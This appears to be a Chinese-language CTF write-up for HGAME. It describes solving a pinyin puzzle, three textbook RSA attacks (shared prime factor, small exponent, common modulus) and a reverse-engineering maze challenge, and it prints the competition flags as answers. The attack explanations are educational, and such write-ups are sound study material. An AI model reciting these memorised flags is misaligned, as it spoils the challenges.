一份非常不优雅的代码↓ 不过pilot的自动补全是真的很舒服,所以说写了前面几个if后,后面都是Tab按两下就补全了,但是这个结构是真的非常非常非常丑陋的….重构一下代码的话应该是,先判断末尾是不是有数字,也就是有没有声调,然后再根据长度直接得到字符,而不是写这么多嵌套的if 和 elif 非常丑陋(,就是我是边思考题目边写了因为我一开始没发现声调有无的规律也没有发现偏移量这个递增递减的规律,前面我们通过已知hgame是只能解出来3个字母有声调和4个字母有声调的,先尝试了一下只用3个字母和4个字母的情形能不能解出来,发现不能之后又是修修补补代码,所以说也是说代码越糊越丑陋了
1 | from pypinyin import pinyin, lazy_pinyin, Style |
1 | hgame{It*sEEMS|thaT~YOu=LEArn@PinYiN^VerY-WelL} |
RSA Attack 2
第一部分(模不互素)给出e,n1,c1,n2,c2,然后两个加密用了一个共同的质数q,利用欧几里得算法可以解出n1和n2的分解出来的质数,然后再求解出d然后得到密钥再解密明文就可以
第二部分(小明文攻击)给出n,e,c,当e很小,m也不大时,于是m^e=k*n+m
中的的k值很小甚至为0,。从 0 开始穷举k,对每一次 k*n + c 开e次方,直到得到整数结果,整数结果即为明文。
第三部分(共模攻击)给出n,e1,c1,e2,c2,c1 = pow(m, e1, n),c2 = pow(m, e2, n),加密c1和c2使用了相同的模数n,需要使用共模攻击解出flagPart2,当e1,e2互质,则有gcd(e1,e2)=1
根据扩展欧几里德算法,对于不完全为 0 的整数 a,b,gcd(a,b)表示 a,b 的最大公约数。那么一定存在整数 x,y 使得 gcd(a,b)=ax+by所以得到:e1s1+e2s2 = 1,因为e1和e2为正整数,所以s1、s2皆为整数,但是一正一负,此时假设s1为正数,s2为负数
我们证明出m=(c1^s1*c2^s2)%n即可
1 | import gmpy2 |
1 | import gmpy2 |
1 | from libnum import * |
1 | hgame{RsA@hAS!a&VArIETY?of.AttacK^mEThodS^whAT:other!AttACK|METHOdS~do@you_KNOW} |
RE
xD MAZE
re这周的送分题( 最后几个小时静下心看了看就做出来了
首先拖进ida看看,发现可以反编译的,看一看反编译后的伪代码
然后这里最关键的就是看一看这个byte_404020,发现是个迷宫的数据
然后v14是输入0123的话,会分别走512,64,8,1个字符,所以说我们只需要解出走迷宫的步骤就可以得到flag啦
1 | num = [2, 63, 1, 7, 1, 511, 1, 63, 1, 63, 2, 511, 2, 63, 1, 7, 1, 511, 2, 7, 1, 511, 2, 7, 1, 7, 1, 7, 1, 7, 2, 63, 1, |